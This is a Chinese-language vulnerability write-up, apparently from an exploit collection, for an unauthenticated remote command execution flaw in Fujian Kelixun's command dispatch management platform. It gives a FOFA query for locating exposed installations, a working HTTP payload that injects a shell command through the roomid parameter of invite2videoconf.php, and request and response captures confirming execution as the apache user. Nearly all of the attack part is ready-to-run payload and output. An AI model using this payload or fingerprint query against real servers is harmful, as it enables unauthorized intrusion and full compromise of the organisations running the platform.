

F2-9福建科立讯通信-指挥调度管理平台-RCE

漏洞描述：

福建科立讯通信有限公司指挥调度管理平台vmonitor.php、invite2videoconf.php、等接口处存在远程命令执行漏洞，未经身份认证的攻击者可通给该漏洞远程执行命令，写入后门文件可导致服务器失陷。

网站图片：



网络测绘：

fofa语法：

FOFA: body="指挥调度管理平台"

漏洞复现：

payload:

```
GET /api/client/invite2videoconf.php?callee=l&roomid=`id>1.txt` HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
```

效果图：

Request

<>数据包扫描热加载构造请求

1GET /api/client/invite2videoconf.php?callee=1&roomid=id>1.txt` HTTP/1.1

2Host : 7080

3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

4Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

5Accept-Encoding: gzip, deflate

6Upgrade-Insecure-Requests: 1

7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0

8

9

Responses68bytes / 223ms

1HTTP/1.1 200 OK

2Date: Thu, 04 Jan 2024 14:24:24 GMT

3Server: Apache

4Set-Cookie: PHPSESSID=8edb3f25a009edf688e

5Expires: Thu, 19 Nov 1981 08:52:00 GMT

6Cache-Control: no-store, no-cache, must-revalidate

7Pragma: no-cache

8Content-Type: text/html; charset=utf-8

9Content-Length: 68

10

11{"st":"0","roomid":"id>1.txt","returnc

验证

GET /api/client/1.txt HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0

Request

<>数据包扫描热加载构造请求

1GET /api/client/1.txt HTTP/1.1

2Host : 7080

3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

4Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

5Accept-Encoding: gzip, deflate

6Upgrade-Insecure-Requests: 1

7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0

Responses65bytes / 73ms

1HTTP/1.1 200 OK

2Date: Thu, 04 Jan 2024 14:24:57 GMT

3Server: Apache

4Last-Modified: Thu, 04 Jan 2024 14:24:24

5ETag: "41-60e1f7c fec798"

6Accept-Ranges: bytes

7Content-Type: text/plain; charset=utf-8

8Content-Length: 65

9

10uid=48(apache):gid=48(apache):groups=48(a

11